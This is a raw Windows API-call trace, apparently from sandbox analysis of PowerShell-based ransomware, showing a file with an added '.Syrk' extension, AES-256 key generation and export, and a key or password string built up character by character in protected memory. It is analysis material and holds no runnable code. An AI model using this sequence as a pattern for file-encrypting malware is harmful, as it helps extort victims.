1 [0247.507] EtwEventActivityIdControl () returned 0x0 [0247.507] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.508] EtwEventActivityIdControl () returned 0x0 [0247.508] EtwEventActivityIdControl () returned 0x0 [0247.508] EtwEventActivityIdControl () returned 0x0 [0247.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png.syrk")) returned 0x20 [0247.520] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png.syrk")) returned 0x20 [0247.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0247.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", lpFilePart=0x0) returned 0x29 [0247.520] EtwEventActivityIdControl () returned 0x0 [0247.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.521] EtwEventActivityIdControl () returned 0x0 [0247.521] EtwEventActivityIdControl () returned 0x0 [0247.521] EtwEventActivityIdControl () returned 0x0 [0247.527] EtwEventActivityIdControl () returned 0x0 [0247.527] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.528] EtwEventActivityIdControl () returned 0x0 [0247.528] EtwEventActivityIdControl () returned 0x0 [0247.528] EtwEventActivityIdControl () returned 0x0 [0247.534] EtwEventActivityIdControl () returned 0x0 [0247.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.535] EtwEventActivityIdControl () returned 0x0 [0247.535] EtwEventActivityIdControl () returned 0x0 [0247.535] EtwEventActivityIdControl () returned 0x0 [0247.540] EtwEventActivityIdControl () returned 0x0 [0247.541] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.541] EtwEventActivityIdControl () returned 0x0 [0247.541] EtwEventActivityIdControl () returned 0x0 [0247.541] EtwEventActivityIdControl () returned 0x0 [0247.546] EtwEventActivityIdControl () returned 0x0 [0247.546] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.547] EtwEventActivityIdControl () returned 0x0 [0247.547] EtwEventActivityIdControl () returned 0x0 [0247.547] EtwEventActivityIdControl () returned 0x0 [0247.551] EtwEventActivityIdControl () returned 0x0 [0247.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0247.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x240328c | out: lpFileInformation=0x240328c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf327d90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xf327d90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xf34def0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xa794)) returned 1 [0247.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0247.559] GetConsoleOutputCP () returned 0x1b5 [0247.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.560] GetConsoleOutputCP () returned 0x1b5 [0247.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.560] GetConsoleOutputCP () returned 0x1b5 [0247.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.560] GetConsoleOutputCP () returned 0x1b5 [0247.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.561] GetConsoleOutputCP () returned 0x1b5 [0247.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.561] GetConsoleOutputCP () returned 0x1b5 [0247.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.561] GetConsoleOutputCP () returned 0x1b5 [0247.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.562] GetConsoleOutputCP () returned 0x1b5 [0247.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.562] GetConsoleOutputCP () returned 0x1b5 [0247.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.563] GetConsoleOutputCP () returned 0x1b5 [0247.563] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.563] GetConsoleOutputCP () returned 0x1b5 [0247.563] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.563] GetConsoleOutputCP () returned 0x1b5 [0247.563] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.563] GetConsoleOutputCP () returned 0x1b5 [0247.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.634] GetConsoleOutputCP () returned 0x1b5 [0247.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.634] GetConsoleOutputCP () returned 0x1b5 [0247.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.635] GetConsoleOutputCP () returned 0x1b5 [0247.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.635] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0247.635] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0247.636] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x241ce3c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x241ce3c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0247.637] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0247.637] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0247.638] EtwEventActivityIdControl () returned 0x0 [0247.638] EtwEventActivityIdControl () returned 0x0 [0247.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.639] EtwEventActivityIdControl () returned 0x0 [0247.639] EtwEventActivityIdControl () returned 0x0 [0247.639] EtwEventActivityIdControl () returned 0x0 [0247.642] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.643] EtwEventActivityIdControl () returned 0x0 [0247.643] EtwEventActivityIdControl () returned 0x0 [0247.643] EtwEventActivityIdControl () returned 0x0 [0247.646] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0247.648] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a60) returned 1 [0247.648] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.648] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0247.648] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2424808, pdwDataLen=0x5a2e8c4 | out: pbData=0x2424808*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0247.649] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.649] EtwEventActivityIdControl () returned 0x0 [0247.649] EtwEventActivityIdControl () returned 0x0 [0247.649] EtwEventActivityIdControl () returned 0x0 [0247.650] SysStringLen (param_1="") returned 0x8 [0247.651] SysStringLen (param_1="m") returned 0x8 [0247.651] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.651] SysStringLen (param_1="꾾ﭳৢ྾햠煽ᅘ᳭") returned 0x8 [0247.651] SysStringLen (param_1="꾾ﭳৢ྾햠煽ᅘ᳭") returned 0x8 [0247.651] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.651] SysStringLen (param_1="ml") returned 0x8 [0247.651] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.651] SysStringLen (param_1="銫ヸ믷숌됆ᡇឌ㨡") returned 0x8 [0247.651] SysStringLen (param_1="銫ヸ믷숌됆ᡇឌ㨡") returned 0x8 [0247.651] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.652] SysStringLen (param_1="mla") returned 0x8 [0247.652] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.652] SysStringLen (param_1="\懜䄎껪걌䁕먚㾎⊸) returned 0x8 [0247.652] SysStringLen (param_1="\懜䄎껪걌䁕먚㾎⊸) returned 0x8 [0247.652] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.652] SysStringLen (param_1="mlaF") returned 0x8 [0247.652] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.652] SysStringLen (param_1="궳褲づ㳻⦛黚䬦") returned 0x8 [0247.652] SysStringLen (param_1="궳褲づ㳻⦛黚䬦") returned 0x8 [0247.652] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.653] SysStringLen (param_1="mlaFc") returned 0x8 [0247.653] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.653] SysStringLen (param_1="捨ႉ仧椡狭쮃폮켌") returned 0x8 [0247.653] SysStringLen (param_1="捨ႉ仧椡狭쮃폮켌") returned 0x8 [0247.653] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.653] SysStringLen (param_1="mlaFcw") returned 0x8 [0247.653] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.653] SysStringLen (param_1="盎킇䊖ᛃ땸締䪸") returned 0x8 [0247.653] SysStringLen (param_1="盎킇䊖ᛃ땸締䪸") returned 0x8 [0247.653] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.654] SysStringLen (param_1="mlaFcwo") returned 0x8 [0247.654] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.654] SysStringLen (param_1="蜅狳ਈଶし肃㽗妰") returned 0x8 [0247.654] SysStringLen (param_1="蜅狳ਈଶし肃㽗妰") returned 0x8 [0247.654] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.654] SysStringLen (param_1="mlaFcwoF") returned 0x8 [0247.654] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.654] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ") returned 0x8 [0247.655] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ") returned 0x8 [0247.655] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ") returned 0x8 [0247.656] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ") returned 0x10 [0247.656] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.656] SysStringLen (param_1="mlaFcwoFB餛쐼訓랩ꕇ魌斬") returned 0x10 [0247.656] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.656] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ鷌㥐淐荱㩲់濍쳰") returned 0x10 [0247.656] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ鷌㥐淐荱㩲់濍쳰") returned 0x10 [0247.656] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.656] SysStringLen (param_1="mlaFcwoFB3쐼訓랩ꕇ魌斬") returned 0x10 [0247.656] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.657] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗॎ㶝쳸檼\ᓛ⼜혱⋭) returned 0x10 [0247.657] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗॎ㶝쳸檼\ᓛ⼜혱⋭) returned 0x10 [0247.657] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.657] SysStringLen (param_1="mlaFcwoFB3t訓랩ꕇ魌斬") returned 0x10 [0247.657] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.657] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗё䁷ॴ飝ਁ夔묡᷌") returned 0x10 [0247.657] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗё䁷ॴ飝ਁ夔묡᷌") returned 0x10 [0247.657] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.657] SysStringLen (param_1="mlaFcwoFB3tS랩ꕇ魌斬") returned 0x10 [0247.657] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.658] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ蘘戱ഐ妳↞雑ለ") returned 0x10 [0247.658] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ蘘戱ഐ妳↞雑ለ") returned 0x10 [0247.658] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.658] SysStringLen (param_1="mlaFcwoFB3tSAꕇ魌斬") returned 0x10 [0247.658] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.658] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ鮶醮㉐챡Ꭰ沴䍯셗") returned 0x10 [0247.658] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ鮶醮㉐챡Ꭰ沴䍯셗") returned 0x10 [0247.658] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.658] SysStringLen (param_1="mlaFcwoFB3tSAn魌斬") returned 0x10 [0247.658] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.659] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ窡筣䤥וּ뒝㦯鑷") returned 0x10 [0247.659] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ窡筣䤥וּ뒝㦯鑷") returned 0x10 [0247.659] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.659] SysStringLen (param_1="mlaFcwoFB3tSAn2斬") returned 0x10 [0247.659] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.659] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ瀵공㍿㙫ෛ涠赜胮") returned 0x10 [0247.659] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ瀵공㍿㙫ෛ涠赜胮") returned 0x10 [0247.659] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.659] SysStringLen (param_1="mlaFcwoFB3tSAn2O") returned 0x10 [0247.659] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.660] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚") returned 0x10 [0247.660] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚") returned 0x10 [0247.660] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚") returned 0x10 [0247.661] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚") returned 0x18 [0247.661] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.661] SysStringLen (param_1="mlaFcwoFB3tSAn2OA㷸㺥觨롷먅务") returned 0x18 [0247.661] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.661] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚幈硨屨⿒ࠊ罻圏틥") returned 0x18 [0247.661] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚幈硨屨⿒ࠊ罻圏틥") returned 0x18 [0247.661] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.661] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa㺥觨롷먅务") returned 0x18 [0247.661] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.662] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚玾৑❜輱딮鿆伻") returned 0x18 [0247.662] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚玾৑❜輱딮鿆伻") returned 0x18 [0247.662] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.662] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4觨롷먅务") returned 0x18 [0247.662] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.662] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚獬琑ꈳ䈻韊赪밷") returned 0x18 [0247.662] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚獬琑ꈳ䈻韊赪밷") returned 0x18 [0247.662] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.662] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4j롷먅务") returned 0x18 [0247.662] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.663] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚⽀쨈⛪緽鷚廃ﵼౕ") returned 0x18 [0247.663] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚⽀쨈⛪緽鷚廃ﵼౕ") returned 0x18 [0247.663] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.663] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jz먅务") returned 0x18 [0247.663] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.663] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚쫹䅰ถ誏璺惖") returned 0x18 [0247.663] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚쫹䅰ถ誏璺惖") returned 0x18 [0247.663] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.663] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ먅务") returned 0x18 [0247.663] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.664] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚髐䴜辦䢶\菙椟胂⋋) returned 0x18 [0247.664] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚髐䴜辦䢶\菙椟胂⋋) returned 0x18 [0247.664] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.664] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3务") returned 0x18 [0247.664] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.664] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚븤듰鱩켛꼍풒欼") returned 0x18 [0247.664] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚븤듰鱩켛꼍풒欼") returned 0x18 [0247.664] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.664] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3s") returned 0x18 [0247.664] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.664] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ") returned 0x18 [0247.665] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ") returned 0x18 [0247.665] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ") returned 0x18 [0247.665] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ") returned 0x20 [0247.665] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.666] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQ鎇蕮麂녆䉆\⋘) returned 0x20 [0247.666] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.666] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ鉷\瓘첊ꉿ䠢≮) returned 0x20 [0247.666] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ鉷\瓘첊ꉿ䠢≮) returned 0x20 [0247.666] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.666] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQV蕮麂녆䉆\⋘) returned 0x20 [0247.666] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.666] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䉵ﺌ좠９І澋═") returned 0x20 [0247.666] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䉵ﺌ좠９І澋═") returned 0x20 [0247.666] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.667] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK麂녆䉆\⋘) returned 0x20 [0247.667] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.667] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ횓إ麬叭ﰷ痦쑑") returned 0x20 [0247.667] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ횓إ麬叭ﰷ痦쑑") returned 0x20 [0247.667] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.667] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/녆䉆\⋘) returned 0x20 